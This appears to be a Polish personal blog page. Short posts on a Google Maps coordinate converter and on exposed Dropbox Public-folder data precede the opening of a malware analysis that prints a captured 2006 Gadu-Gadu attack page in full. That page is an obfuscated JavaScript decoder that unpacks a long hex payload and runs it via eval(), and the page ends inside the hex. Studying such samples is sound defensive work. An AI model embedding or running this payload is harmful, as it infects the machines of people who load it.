Forwardfeed's blog

rozmaitości

Archive for the ‘Ciekawostki’ Category

Google Maps API 3 – przeliczanie współrzędnych

without comments

Trochę drażnił mnie dostęp do współrzędnych Google Maps, ich przeklejanie i konwertowanie pod zapis Garmina. Nie znalazłem nic co spełniałoby moje wymagania – miało być wizualnie, szybko i w trzech trybach zapisu – więc napisałem własną aplikację. Teraz mam wszystko pod ręką i w miarę potrzeb mogę to rozszerzyć – na pierwszy strzał chyba pójdzie pomiar odległości.

Kod jest prosty i brzydki, ale skuteczny. Nie wiem dlaczego nie działa pod Firefoxem (jakieś pomysły?), ale jest i tak jest to znaczącym ułatwieniem, że można się nawet na chwile poświęcić i uruchomić IE ;).

Read the rest of this entry »

Popularity: 3%

  • Twitter
  • Reddit
  • Slashdot
  • Facebook
  • Digg
  • WordPress
  • StumbleUpon
  • LinkedIn
  • Delicious
  • Blogger Post
  • Google Reader
  • Google Bookmarks
  • Share/Bookmark

Dropbox – public folder

with 3 comments

Jak publiczne są dane w katalogu Public, który jest udostępniany przez Dropbox. Okazuje się, że leży tam wiele danych i powinny one być raczej chronione. Jak się do nich dostać?

Dropbox udostępnia folder Public, który jest wykorzystywany do łatwego dzielenia się zasobami z innymi osobami, które na przykład niekoniecznie chcą mieć Dropboxa. Po załadowaniu pliku do naszego katalogu uzyskujemy public link, który można komuś przekazać. Dzięki niemu osoba, która go otrzymała ściągnie z naszego komputera/konta interesujący ją plik.

Read the rest of this entry »

Popularity: 100%

  • Twitter
  • Reddit
  • Slashdot
  • Facebook
  • Digg
  • WordPress
  • StumbleUpon
  • LinkedIn
  • Delicious
  • Blogger Post
  • Google Reader
  • Google Bookmarks
  • Share/Bookmark

Written by Krzysztof Dziądziak

Luty 1st, 2010 at 8:36 pm

Przykład prostej analizy zaciemnionego kodu z użyciem javascript

without comments

W sierpniu 2006 roku w sieci był testowany skrypt uruchamiający dowolny kod na zaatakowanej maszynie. Dało się zauważyć, że testy podzielone były na dwie części – testy exploitu umożliwiającego uruchomienie dowolnego kodu na komputerze ofiary, oraz kod przejmujący władze nad komunikatorem GG. Kodu kontrolującego GG nigdy nie udało mi się złapać, bo linki były nieaktualne, więc nie wiem czy było to oddzielne oprogramowanie korzystające z danych gadu-gadu, czy też oprogramowanie, które potrafiło przejąć kontrolę nad klientem. Początek października można nazwać zmasowanym atakiem – linki do stron od znajomych pojawiały się bez przerwy i wielu w nie klikało.

Próbując zobaczyć co się za nimi kryje sam kliknąłem aby pobrać zawartość pliku html na dysk. Zapisałem dwie wersje html do których prowadziły otrzymane przeze mnie linki. Oba pliki zawierały kod javascript, jednak na pierwszy rzut oka nic nie mówiący. Strona html wisiała pod adresem http://www.bestflames.com/tomek.html#637321, co później będzie można zobaczyć we wnętrzu kodu. Skrypty różniły się od siebie. Poniżej zawartość wspomnianego pliku html:

<html><head>
<script language="javascript">
function hRCNtfOSx(qTPnXrJlP){ var dmrELNfhD,AePVyMMby=0,RlVsEjMVH='',LnHAAqCOb='fbf0a01cf06a2aad92dda7f579d414ddf4b4aad2bbe3313346c39374f078433d63cf0a033f4d9e69b19fcb01d7905c8691aaab62bda41a6b70e320bf24fc65b676ab81ac6d17cabcd8d5e62bce997785cedc9743939385f11d2c2bb1f5d7e30747883ac8aa77e04a66a8c058f862524c93d713c880235e4efbc4715398bbe00493744a5052a280775f470faf18e04616702ba890f04cf3ca6ae49aee5fe4e94bbd84b281e159ac7872e767a5179610e49a6fcc7d7a91027d67c6341ec91aee45d0d55be404dfd244f2ca4ff2088cd786f347dcbbd8fca6439cacb3ba80a44e21828e144b8807c89be0372f9926522d89055b1dbef1236dbe5be278ec4f5bc6d3'; for(dmrELNfhD=0;dmrELNfhD<qtpnxrjlp .length;dmrELNfhD+=2) { var klezeaqRS=parseInt('0x'+qTPnXrJlP.substring(dmrELNfhD, dmrELNfhD+2)); if (AePVyMMby>=LnHAAqCOb.length) AePVyMMby=0; klezeaqRS-=parseInt('0x'+LnHAAqCOb.substring(AePVyMMby,AePVyMMby+2)); if (klezeaqRS< =0) klezeaqRS+=256; var kWhWWrVhe=klezeaqRS.toString(16); if (kWhWWrVhe.length==1) kWhWWrVhe='0'+kWhWWrVhe; kWhWWrVhe='%'+kWhWWrVhe; RlVsEjMVH+=unescape(kWhWWrVhe); AePVyMMby+=2; } eval(RlVsEjMVH);} hRCNtfOSx('5f5f03915dcf9821c054195eed393c5262191d351c53965b6de8c6d715ae7b629a032f39a372d4ccd6d230260af381bcc9cfe197e2da4b90a61745f2892198199be2b5d1a350eff30cfa1c8ef3cfacaa0141bc76f6b8b75742635fd62b10083e7bad702bcfad156f990de781219d5cb0023a8835e591d27c7236dac7fde35572f8e7adb1c207a89e847a72d44f136b4ca350dfc215822cefa114bf2593091b7be2ba15a6178ad1aed70c9ddc3ccd4509d0a0f1b3b1b638b28cf99843fb4c137b31fa91152916086928fb74293bb10db9187e0ee00e35cb7accd1eaeea5d68046b5f33b74b142d2ff4f9aa4068bc0a1b77ccd8632564be22cc055db4dbfc0eefa2026d641279f4fe3f702dd289e0b48022aedcf08210867986bf5c39924db6873c9f4403a647fd68ee703f03310b58eb6b6e10d89e6cd5575d45283349161d32aa422f315e17cf231463a598e2f09dcadf501c77cb8cabb16535d50e827fc15376cbe9dede0dd05809dcdf2881d95b671c50738feb44894b420faa478cff0053af799808577d8e59c967b34e17d057c499562dab5268118009b09d122841a1e70f1b9d7b7447ee2ad971dcbca4dcb351aff9403b19fc33aa299fd5955f93f207cf50794093741f96d1b05595677ef4cf358b550e94f6e0fb701d42828e517b182f2f33c72ad3701c0169a54cf8c7763c02a8d82e3275c92f4c007ae517491fbf83222c550288f5fe1b7110b1aad37390f24d9dd36e01561587c27b8a7529f6c669ed96e72a2c20bce1f13f97849f9d0ebb91f19c730077bdbd50b47e45b608cdf9fe68b10dc7a3f293d435a59450be0f933040cb1f806e8528d9153d81a0d192c7ebd5ffe0f9c167d8bdff47d2e9b7782f9fc492da5558e732ff7968acae01639b8aa7b7589d6a5ad946c43153d127e3ba691cdc2537125fa8f1aff13911d0e7deda9e9e30882d5b37c4bd6088c0375520e9d43efe30567a5dc3499912c7b5eaaf8fc80143d04097a170080173fbefcb8236c13edfd2ed668cf10d8ecb0c98486a7c54970be6aedd1435c62fb4d7b56c40fbf8c216690d22ccf10ef5eb8cf2bfb705e058f53cb9a12ba04cc25b2fb3d062fbe0e411e589e98b437c1eb62e1b7a28b447868b2b0ffd916c7f22607c981bdc5cfe294e2db5390a21345f6862197e69be1b6d1a44deff209fa1c8ef3cbafaa0013bc7ac5b8b721425f8fd62707083dadad6c2dcfab136f9ddae58e2d87887db80e47edb658838261e9a785bdf14129c9a96f8685c7b7ab847947d44e456b48a950dac7157e2cef9c14bf25c3091f7ee2bae3a6188dd1aea50c9ddd3cc84809d0a4f1afb3b639df8cfd9845f243294f3444be59714440b82041c15b7cf1fffb61ac4f1e396c0b6bc3d1e3f3a7cd775c8cf283aefd742d095465a60b8fc692b17ac982315484dd2383099d1c8880fc0c2026d641229a4fdfca02d9269e0644022be6cf04f40863636bfaf59b19a17e47c73e6d78acb20cdddf163d6a4bf584fbff0f1ec51e147f93970850f8492c9edbaddfa6e39f3c01f5fd07165005fb9cb7fe01cd78b8cabb16535d50e758fc153f6cba71ede1a9057c96cdf3bc1d948271c93d38fae548928120fba378cef0053ac499818477d8b59c93ad34e54a057c779561ddb5267f18019e09cc26841a4e70efe7d7b3117edeaa971999ca49cf3516d194feb69fc332a29e2a5954fc3f2476f50c8f093a12f77a2aef812a2dc20cab258001f23a21dda7c3d5dcf58a08bd84f7fb79b9fc353f0d49ab94c19bc092fc68bc8d23194a92ee9407af507684ef0e05540f7f65d78f1b060b1e67e248790569220f451e44a1986eeab8a4299f6c669ed96e72a2c20bce1f13f97849f9d0ebb91f19c730077bdbd50b47e454358aecafd0b7e29249fae10a0d0b5dffbea9b5f313c968c5ccaa234d5162131c000c4251eca92b1fe445b8dad637ca61d6b7740845783be384ceb323eb9683d1e0103db8ab7e7589d4a5ae986c41df3d17a83ba25bcdc625712a008f1acb1395470e7df5a9e4b80690de9da4178cd87bbb4214bfa532a2acf627b19aeb6b50ee50236a0606801b3804087917feb5173ebefcbc546c12f0fd32d968d3e0d8ecb8c98486a7c07770ba37edcd125c61cb4b8490ae378b42f023489ff08014b1118192eb053415d24c15a18ed2c810cc2baaf94b1119eaddf7f11b56657ee8c9a915aa7c629a312f3aa374c792eca92f703a05c9ebff1ed9d92f0d8ed098588e24975fc626dbd3a8d19d50eff33cfc0f5409a3dbf4315104a80107b3688f959f161d4c516cbaeb9b380f9f076f96e1e58e31878882b80943edb25b83802ce9a383bdf21229c5ad6f8282c7b7d9867038ea2244b579e5980dfe647a6a3cd358ff16d4524ebe20e522e60980d1a8ab0c97de3ccd4409d1a1f1b4b3b634ad8cfd9643fb4a137b05fa921a29150369282d742440b109bd187e0ee00a2ccb7600d1e5eaa5dab446b4f3397fbf2cfed0056e63be5ab852bf3780531f1659a2e391159d238380f80b2022d241229c4fdff502d9259e0a790226edcf04f208636c6bf5c39927dc687396f440346484d28ee7d2f0370fb58ebeb6e0e087efdd3fa2d20857234b258ef1800ff00fe2842f2a4c035d9d370ddcad434afcb6f6f4f556455350e12efc1a6b6eb16303b4db4faddb1525c66c90c9befc4b78f0f591c3c15e25e1b8c0e20534cc9b73798dace4e6c2bc7c148654748de2941cf518c1612fdd47fb5ec40c1070edbdd7b71a7ee2ae971997ca49ce3516cb94fead9fc834a299ff5950f93f25a7f7fe841f0e4341a76737b4607cba4ef85cbb41e34d6a0bb6ff0d231fa8cb7351bbb34484ad3efcc0176954d05f775fb92a927fe3235392f49007af227491f7f83153c54e288f5ce4b714d91aab04391058d9dc02e01997587828b8a8279d797288063e2873b3c39fe3c40162fcc691abc7ddd099f1c94ca3951985e4565f8ae8a6d0b3de9249fce10a0e0b5d05bea9bef30ec768caf7aa27505161e21a0e172c7dbb5ffee29c12828bdef57d2a9b7783f5fc4a2ca74c87890528e0b60d28457207a2c1c2bb16e59fd4b574227b41b67b9852cdc029712a2e910dc329694858ae32f117ef558723eadb5bcccd8c047557fdd03ce2a2b827ada0ed5d47042452b4334ac849725300bb6433c357300145eb66aa3d2b3d24cd68cce5d8f0b9c98457a7c04470ba3fedcd115c61c94b895fae379442f02148a420820ba12759bf3536705d058a6498a11ffb510c1dee42795057151a37e30a56637fe8c3ad15af77629a012f3a7872d099d6d62d2609c081bcc6cfe298e2da4b90a64645f15c2197ed9be2b3d19f47efef3cfa185bf3cfddaa0041bc77cab8bb2642635fd6293d083d79ad7029cfad156f9cdbe58f2c878484b80d78edb25c838032e9a38cbded1029cad86f8685c7b6a8847e43d44e136b4ca850dac8158228ef9c1dbf25c10920afe4addbbcebbd1bdbe754cc138bc4875603e331a5efff67f0ca27a483f141137509fa92482b08fb7ffc2ebe557df93cf46775532d41700b6b111a182de305be86aab5397bc12ef1c41b41930889c79aee73cf4b35638ce1238357e651c2be27436018c74120a34fe4c402dd2a9e0b48022be9cf09ed0867986bf5cb9927aa686f9cf43d65647dd790dac8060b3bffbffbfe0f19d6eb1b8cd4e44848349261d819d71be6d4943c0120fffe0f66d8fde6e84349fcb107c1fc6386a090d96a45487aaae9aa2dd29e05809ccdf78d1d98b771c90a38ffb448948720fad778ce200536c3997e8777d8e69c917f34e54905784f955dd8b527ae1af3931fa452ce475eb822f226af58cb15ecd70fdc137c0973450ad4f4a49fc13ba29b2959542f3f247cf50793093616f77628ef85572dc209ab2a7a01f20821d9a5c1deeadfb2dd7354e4b53d74c3112c0a43ac9cfe94c65b0077c491231998db23ce45d95cb483edf82b29c553268f60deb714d91aab04391427d9dc02e016955878f3b8a8239d7a6f88053f28757ec3a0e5c40136fcc4c2abc3e2d098eec94cce951550e4562e8aebadd0b6df924dfde10f070b6107beaeb5f313cb68c5f8aa26505161e91a0d182c7deb5ffe0d9c127c8bdaf97d2bc47975bc121d2cef86d3bb6032e5810f2d4978f89cbfbeb715e3d8cfac37d63d107f3ba761cdc621712afc8f16ca13954a0e7deda9e5e5068bdc9da61a8cdc49bb4619bfa5fda2b1c527b39ceb6884ee4c266a060680166704047417fc81173cbdfcba276c1021fd30da68d0ded8ece5c98354a7c54870bf39edd1155c65ca4b8891ae378d42f02a48a020820ba12759bf3536705d058a6498a11ffb510c1dee42795057151a37e30a56637fe8caaa15ae74629a012f356f72d49ed6d1fb260af481b8c1cfe295e2d67f90a41845f589219cec9be1bad1a449eff23efa1c90f3cfdbaa0411bc79f8b8bc25425e63d62709083c77ad71facfad466f9cdbe58e2d87897fb80e46edb255838034e9a4b5bfe4093f9dd8b9b3c70fe5e5d37586218154ab3ee5990d0353ad632f920bbf1e980b1274f88e16f044ce19dde05b951c89ff8449c2e43ae2edf463edccee5b43f953137933fa914a29150969240274243fb109bc187d41e00e2ecb7acfd1eaeaa5d7b046b4c5397dc12cfbfd076058d430b69cec7ac8822c6551e430c456dd14c4c92b465e51108118914fddcb02de2b9e0a45022be6cf04eb0868686bfac59926db686f93f43d67647fce8ee3d1f0370fb593bab6e1df87f4d43f9ed1085225492ecbdbade2a6e3a43c01f3fd074b5004cb9cbb0301ce76b8cab916536250e758fc19386cbe9eede0ac058199cdf2bd1d988571c93d38fee44890b420fba878cef4053af8997d8377d5b29c91ac34e54d057d4e9561ddb5227e18fdcc0bc3179aee4dba20f91fe64fcddaefe450db0a3f0b7e490dd22deddfb929a297ff5955ff3f2476f50c8d09360ff77b2aef85562dc23aab257701ee3c21d873c1e218dfb7d97357e5b34aaead3a2ac209606aa38ac190fe72c08b321f9adf27cf47a061bdc039365c600544178f5ae6b714dd1aaf05391426d9dc02e01963587cfcb8aa559d756d88026e28717dc39fe6c4fd66fcc495abc8ded098f2c950cf951558e4562e8aebaad0b5e1924b2ee10d050b5d00bea9bef30ec768c5f5aa234d515de31a0e1a2c7dc15ffe0f9c167e8bde257d2f95777fc6fc46faa555c37331f9968ad0e01639b8a67c758504a7a0888219138743bb83d5991cbe67be5c3ecf0c0f5cc4574cac2de9daa80689e59da91d8cdb48bb4716bfa1fca2b0c527b398eb6b52ee4d506a0205820d2d1adca8612dc45f6dfa4bb46ab9452f3d241bb1011f161bf0097648a7be4d72b13003a544a6920e93b79bfd33d28f2765889533c947eb4fb0cb2bfb2215d05515a15ed2c90fcc2cb2f9460d19eb0cf7ed13566a7ee8c9d815aea66296332f39a472d49ed6d6022609c081bbc9cfdfc6e2d87d90a41b45f658219cea9be2b1d1a249eff20dfa1d5cf3d0acaa0411bc7ac6b8bc25425e63d62710083aa9ad6cf8cfae44718fd1fb625cd1b5c1003c813cae9ad0b76f2999c806205367f4e4af7879c7b0b0847d42d44e116b4da450dec315822bef9c1cbf2494091b84e2b6e2a618bbd3a19b22710986f98551ffdd40abf1036bf1cceea98c2e8d51a6403a830b290f0b69220374293cb10eb8187e15e00a2ccb7afed1e5eaa5db8646b8f23981eb2cfacb056a93be588252bf6a8053f3165aa4e38d129d208080fc062027d44126a34fe4c802dd2a9e094c02281acf08ed0867946bf9c89926ab687497f43c3b647fd08ee503f03710b592b9b6e1dd87f30a3fa2a308562549329bdbaddfa6ded23cfff4fd094a5002fc9cb90601cc77b8c8b916525c50e327fc15406cbb9ceddca70581cacfe981336cb6bbf64c802dee978cc56d2de5b8c0304e6906d7abc0b7caa79c8f8034df51057c499561d9b5278018009d09d02684162170f3b9d7b31a7edea8971ec9cc40bf4beefede2ff2e7f670f1953da6873d7f16ba3e3ace47654f376c19ef7f2b2dbc10ab238001f21021dca7c1e216dfb2d47354e6b3467bad3d2dc0166c54d05d775fb92a8f4ee3275692f58f07ae257492fcf83125c551288f5e13b713d91aaf35391329d9e005e01a655878fbb8a6229d77a188043d287485c39d15c4ff64fcc38eabc30fd097f0c950a0951a52e45b328aecabd0b8de924c02e10c390b5f31beabbdf311cb68c8c7aa264d515de31a091c2c7aea61f1d3b2eaaed50b35c55dd0c67a0a497c3ce54bd3bc6037d4b40820082bb8a4837582dba5aec36e38d853eaaa85d3a015f55ec02141dc4d0e53875957b030e713f14681d39da2208cdc7bbd390dd57930ecdd066fe2d53a62953b8362aaf84ac949774233b457f2761738c5feaf1c82e61f475f1bb0011a27e8f716b795e7b689b9ed7a2bfc509c57c04b8266ae3b9442f427489fee8014b011818ceb052b15d75415a08ed2c840cc27b2f9460d19ebdcf7f118566a7ae8caa915af756299342f357772d199d6d104260af283afbae5b5c62c078fd8d55194ed9b6ece2adbd3f61ad28a2d1d483a0e52f3c9b0aa023fbc79f9b8bb28425e63d6270e08397dad702dcfad126f9ddbe58f288785aeb8094aedb25c83815deb9a7cd3c54473f6e9b7b5c016aeeed1b083144055b47be38e090055741aef9a1dbf2597091fafe2ba15a613bed1aed80c9ed53ccc4509d0d4f1afb2b634af8cfa6b43fd4f137a04fa8d162911356924fa74293db10eb8187d3fe00a5fcb75ccd1e9f0a5da7f46b8f13982bb2cfed0056968be59b454b22e9627226086e22bc050ec1ac6cd2f476018158a55dd8d0e0242cf1c9e044d022beccf081f0867966bf5f89927ab687398f440686483d28ee3d7f0373cb593bbb6e00e87f3073f9da90853214b258ef1800ff00fe2842f2a4c035d9d370ddcad434afcb6f6f4f556455350e12efc193b6cbe6bede1ab057c96cdf3bc1d948271ca0f38fee44894b120f6d678cfed053ac899818377d9b09c95ad34e57d057d499561ddb5247e1800d009d022841b2270f0e6d9aa0a94b6dce14adc127c04841211e135f1dfb977ebcc39977f397f166cf50594093842f77a58ef85292dbe0fab257e01ed0e21dca8c1e2e5dfb7d77358b2b347adad39ffc0127054cc88775dc22c8446f9fb87dc21d04fdd5ac3893d456464054465d88f20f53e175aa1fb390d2dd9e038e01596587bf7b8ab299d7a6d88053f28717dc39c15c4fd31fcc38dabc40cd28be6df24cfdf46952c896ad9e4ed1dea20d23f3f2a3d48498c3efe9facf30cd068c9f9aa2382515f151a0d492c7dbc5ffedf9c127a8bdb247d2a92777fc6fc462aa74c87890528e0b60d28457207a2c1c2bb16e59fd4b574227b41b67b9852cdc0297129308f16ff13934a0e82eda9e8b6068f119da41f8cd750bb4346c198f5b884f571e0dc33998c3d4865b73949c00c794d37b7552bbf5730b3fcb62c6c1221fd2e0b68d1e3d8f1b2c9845aa7c54870be3cedcd185c65cd4b885eae3c8f42f02a48a020820ba12759bf3536705d058a6498a11ffb510c1dee42795057151a37e30a56637fe8c9da15aaa86298022f397072d59fd6d500260cc481bcf7cfdf98e2da5390a64645f5592197ee9be1b3d1a350eff23dfa188ef3cba7aa010ebc75ccb8b853445554ecff3b526abcf59f361ea557bccf1c25806dd0b7bff638832da84a837e34e9a5b6bdf14629c9ab6f828ac7b2ae847945d44e456b4ca250dfc3158323ef9d46bf2096091b84e2b714a80a82e782d656ca1a84fb7e58c8e63ee6eef62af2d52ba7812a8a536df7fa8b1d29160569242f74273ab10ebb187d41e00a34cb79ced1e9f3a5dab346b4f1397eb82cfad4056a91c04f7b689369ca80335e88db328959ea55c3c0ee486955137f51da8fd5b902de59a0fd3d18fe181935305096a1baf10ae659eca865d83d6f76a2ae0eced9c6f0370db593bbb6e01087f3d73fa2a40856f84932cbdbac10a6de9d3cfef1fd0c1e5005c99cbb3101cda9b8c9be16546050e32dfc15406cba6aede1d907738fe3cabc67c5c7b9f84587f6f795c7c260ece6c1fd2e436503d9727777d2b99c967d34e549057d48955dd8b5268518fc9a09cd5284161970f0b4d7b44380d5a1adf1cb147a0b7d4908e3faf4ecfa76e28f3ba2833c7d4fb535fd82093418f77b28ef85232dc309ab257701f20c21d873c1df17dfb2d47357e7b34a80ad3effc0126754cd577764bb2a924fe3275492f59407aa24748dfdf83252c550228f5ee1b710e01aac0a391127d9dd07e016665879f9b8a6549d767388023f28737ec39ce4c4fd65fcc38dabc4dbd096f1c94d9b951584e457358ae9aed0b4df924bfbe10a390b5efebeaab5f310ca68c6c3aa2451515fe71a0b162c7aba5ffbe39c147f8bdbf37d2b987783f7fc45ffa555c1732dfb968afae01436b8a87e7585dba5aa956c43e23d137b3ba360cdc32671252e8f17d01392190e7feea9e5b4068b109da5188cd848bb4418bfa2fca2acf527b0a0eb6756ee4d216a040680166804057417fd7f173cbffcb9236c0feffd30dc68d0dfd8edb2c9815aa7c24970bb3aedce165c66fd4b8464ae37be42f02848a4208016a911838deb063415d44e159e5dd2c612cc29adf9481119e60ef7ef18566779e8c6ab15ac786295332f367372d1a0d6d300260ac181b8f5cfde9be2d74d90a31545f25621971a9bdfb5d1a04beff009fa195df3cca8aa010cbc76c9b8b822425f62d62808083a78ad6dfecfae446f98dfe58a5b878483b80e75edb35383812be9a483bdee1629c7aa6f8382c7b3aa847a42d44a446b49a050dbc0157f23ef9d14bf20c3091c7be2b7e2a61489d1aba20c99093cca4309cd9ff1b0aab635ad8cf89843fc4a137800fa8e142912026925fa742538b10ab6187a0ce00b2ccb76ccd1e6eea5d78446b9f2397dbf2cfafe056966be5db452bc358050ee16569de38e189d208580f9032023d341249b4fdff602da259e07440227e4cf05eb0863976bf6c39923a8687093f43d33647f028ee5d2f03407b58fb6b6dddb87ef083f9ea00853ef492f95dba9dba6df9d3cfdecfd08165001c99cb8fe01ca73b8c6b916506250e859fc153e6cba9deddcae0581c8cdf38e1d988771c60a38fbb248917e20f7a878cbeb053ac4997cb477d5b79c927d34e24e057c4a955d0cb5238018009f09d02384171f70efe8d7b4197edfaf971aa0ca4dc93516fe9402b19fc735a29af75954ff3f2476f50894093710f77a26ef82242dc20dab297a01ee0b21dda7c1deeadfb2077353b9b34badad3afec0136b54cc577760bd2a8e52e3245492f18d07ac1e748d2af82f22c54f298f5de4b710df1aab38391028d9dd07e01662587af7b8a6549d776e88023a287381c39ce9c4fd65fcc492abc5ddd096f3c94e9f951756e4572f8ae9a9d0b5e1924a02e10b080b5e01beabb8f313fb68c5caaa2380515de81a0e452c7abf5ffce09c137f8bdcf27d2b997780c9fc46fea55691732d289687cee01334b8a7807586d8a5a9c36c42e33d13793ba35ecdc32171252e8f17d21393150e7eefa9e5b7068b109da51a8cd84abb431dbfa301a2adc127b09aeb6851ee4d1e6a040680183904057717fe83173ff0fcb82a6c0e1efd2edd68d30ed8edb0c98157a7c14b70bb39edce135c63ce4b855dae389442f05548a1f48015ac11838eeb062d15d280159d5ed2c510cc2bacf9471519e60ef7ee1b566679e8c6a915ab7b6295332f366f72d1a2d6d301260bc381bac5cfde93e2d84e90a41545f2542198ed9bdeb7d1a04deff33cfa1862f3cbdaaa0013bc7af5b8b827425f5ed62810083b7dad6dffcfaa126f99dde58c2e8784b0b80a44edb45583812de9a587bded4429c6a86f838ac7b3aa847a40d44a446b4aa150dbc9158029ef9e18bf20c3091c83e2b7e9a6148dd1abaa0c9ad93cc94709cda5f1b0b2b635af8cf96443fc4b137800fa924829110969242d74243fb10ee8187b0ee00c2dcb76ccd1e6eba5d78646b5c3397ec12cfbd4056993be598352bd398051f01656a0e38d469d1f8380f9072026d64123a34fdff602da2d9e07470228e6cf05ef0863976bf6c79923ae687094f43d376480d38ee4d3f0350ab58fbeb6dddf87f1d63f9fa60853f74933c9dba8e2a6ded03cfcf3fd0c485002cd9cb8fe01cb76b8c6b516506350e529fc163c6cbb70eddcdb057d9dcdf48b1d958871c61038fae448918220f7a478ccf10537c4997cb477d6b29c927b34e349057946955d0cb5237e18fd9f09ce2484171e70f1b5d7b4127edfa9971b9dca4bc73518cc94ffae9fc43ba29e2a5950003f20a8f50792093b41f77827ef822a2dc00aab277a01ef0b21da77c1e0e7dfb4da7353e6b3487ead3bf9c0136954cc5e775fed2a8e51e3245c92f19107ae1e748d2af82f22c54f208f5de2b710d71aab3839102ad9de05e016615879fab8a8239d767688024028727fc39ce5c4fe38fcc392abc5dcd09921c94ca2951583e45a618aedabd0b70f924d2de10a0e0b5e30c0a0ae09e6fbb2f608f2568ba059286740576c6ffda82d1dda41bacbd0e77d289b7975bc121d2cef86d3bb6032e5810f2d4978f89cbfbeb715e3d8cfac37d63d107f3ba762cdc6287129038f1afd1395190e7deda9e4b90690e09da7498cdb50bb4548bfa105a2acc127b4c9ed5d47042452b4334ac849725300bb6433c357300145eb66aa3d2b3d24cd68cce5d8eab9c98557a7c44570bf39edcd105c65ca4b845dae38bf42f02148a3238019ad1185beeb095e15d37e179353e89c411658ee41794b68e221442457965bbb31f8e753d9b3a28bf62f337872cea2d8c8f43ce1f4cbe9061710d031d291ddd95785e7996aca29d90cf111953eefec11fa1664f3cfb0aa0412bc75c3b8b72942635fd62a39083d80ad6f2ccfa9456f9ddbe58f2d87887eb80e46edb75783852de9a78cbdf14529c9ab6f828ac7b3a7847972d44b116b48a950dac0157f57ef9d48bf208f091b82e2bb14a61390d1aaab0c99d53ccd720bc3980787de0065f2d42ba292f79160ae443a8359724445a7533ab41a2fb107bf187715e00835cb79cdd1e5eaa5d7b246b4be3981bc2cfe01056d62be5d8752bf698053f31659d2e392169d1eb480fc062027d241269f4fe3c302de299e0a490228e9cf081e0867686bf9f79926ad6873c8f44137647fd68ee3d1f0373db592b8b6e00c87f3d93fa1a30857f3492e97dba8e4a6dfcf3ef3e513df4a9a310ee4ea3c50c5ba05fcf95645a19916683a4477acb061eddab0057a9fcdf0911d988371c53c38ffb348948320fba578ccec053bc799818477d9b29c958034e54a057d4b9562dcb5268118fca209cc20841a1c70f3e7d7b7127ee3ab971e9aca4dcf351ace94feaf9fc365a299f65950fb3f2478f50bbe093b12f77a2bef85262dbf38ab257901ed0821d8a5c1dee3dfb7d87356e4b34a84ad3c2cc0129c54d0597764be2a914fe3285692f58f07af1e7491fff83155c552278f5ce5b710d81aab37390f24d9e106e01893587cfcb8a9549d75a288056d287582c39f16c40138fcc790abc7e2d094edc94ccf951550e4572d8ae8afd0b3e5924a2ce301fe21353208dafa3b4105b7c10af75a91915326633c566aa8f89ff0d19c10838bd8f97d2fc6777ec3fc49fda559c17332f79689cde01234b8abac777bcbbb81c3b672248545b48a9ea21af964b11b3fd8490d51c0544e73e4a9e2ba0689e59da2208cdc4bbb4716bfa605a2acc127b4c9eb664eee501f6a02058017680404741700b4173ec1fcbd2a6c0eebfd30d768d2dfd8f1b4c9845aa7c54a70be3cedd0185c63ff4b885fae3bbc42f42648a3f18019ac118193eb0a2f15d57e15a063d2c741cc27b2f9473f19e6daf7f247566576e8c9a715ae74629a032f397272d4a1d6d103260dc581b8cacfe2c4e2db7e92990c5bc9886bc82be310ef209b8e3c254c3a0ea03cfeeae82f4cfc6bbab8b52a425c64d62c3b0a3070c3442c19da55b7cb1634866fd4bbc0f8ff8836e596c1af6b29997abdeb1929c3ad71797bdd8adbceaa841c7d4eba44e79d110455746838cf57fd4fcf491172e2b4eba61192d1aeab0c9ddb3cc84009cca7f1b3abb634b68cf86443007c156ef9106548734247b15738c3207ffe40fa586f51293d6f09a40c11dbe1a5d48746b2c7397bc12cffcf056e61be5d8b52bb358054201653a6e38b1b9f157896d0376a53158955d89edb094f1069defc894b59270d332b48595a6bf3cc9920b1686d9cf43a3c6484d48ee7d0f03809b58eb6b6e0dd87efd43f9ed40852ef493098dbaddda6e2a23c00edfd0c1a5004ce9cb93401c97bb8c9b6164f8f50e325fc15396cbd71eddfaa058099cdf78a1d988b71ca0738ffb44890b320f9a478cef3053ac89980b377d8e39c917934e1510579789754d1cbfab0622ddf51ff5cd31260bd26f817a956c711ebd548d70a3fbd3514d394fcb69fc13ba297ff5954023f247bf5078b093617f77a24ef812b2dbe07ab2aa903e40137b0a70b0f2827e512c24ff9007dbfed2f3d0945aa92fa96b755b02a8b56e3215c92ee9407a825748bfff82f53c552568f60e4b70fdf1aab0b390f2ad9e037e01963587df6b8ab209d769f880141287186c39c13c6f42a129ac0f5f41f18c72b1848e2e24c94244c71d31be90ee21cd23ff1e1080e0b5b07bea7bef30cd068c3ccaa25545161171a091b2c7db95ffae39c13ac8dd1e99302c6c1af08447836f451d5c06438d67b0d294577f6d5bab57ac9a5a7986c3fe83d107f3ba064cdc029712afc8f1acf1396180e82f2a9e9b3068f119da41f8cd847bb421dbfa22ea4a3ba3d87cb359793367f5cb9fe4ccd4d7844fab9602fc25569fc3cae1a6c0cf4fd2cdf68cce5d8eab9c98585a9b73d86926b37fe55a494079a80a4fb6ecf82e66691d231be43e8517782eb033415d055159a63d2c941cc27a9f94a1019eadbf7f217566979e8c9ac15aa7b6299042f357872d5cbd6d62f2800b99790f5190ed72a0988df9e5a922898618d2be410f40fce872fe4fffa1664f3c9b0aa0540be6cbcce8f558c8fa01e5a455735befaa33c0f9f55b8cb1b23b968c77a73b8074cedb05c838434e9a3b5bded4229c6d671797bdd8adbceaa841c7d4eba44e79d110455746838cf57fd4fcf491172e2b4eba618bdd3a19b22710986f98551ffdd40abf1036bf1cceea98c2e8d51a6403a830b290f0b69262d74286eb10dbd187914e00a33cb75d2d1e91fa5da8046b9c13982b82cfbfd056966be588b52bc678246e72c2dd12dbe57e551bdcff44a6d59148118df981205400865defc3b022be7cf08f30867686bf9f69926db687396f440696483d28ee7d4f03307b58feab6dcdb87f4d93fa1d50856f4493398dbacdea6e29e3c01ecfd0b1b5000d19cb70001c978b8caba16506050e428fc163b6cbb6deddca9057cc8cdf28a1d948771ca0c38fbb448918120f7a578cbee0536c5997cb277d4b29c917c34e64d05794a955edbb5238018fd9d09cc2084161970efe6d7b31180d5a1adf1cb147a0b7d4908e3faf4ecfa76e28f3ba2833c7d4fb535fd82093611f77627ef86272dc208ab267a01f10d21d97cc1dee8dfb7d97354b2b3477bad3af8c0136754cb5b7764be2a8e52e3275992f18b07ab1c748dfbf83225c552218f5ddeb710dd1aac08390f29d9e107e016615879f3b8a7239d766d88013f287682c39ce1c4fe31fcc38cabc4dad094f2c951a0951654e4572c8ae9aed0b7de9249ffe10f0a0b5e06beadb7f30fc768c9c6aa234f515de11a09452e70b175d20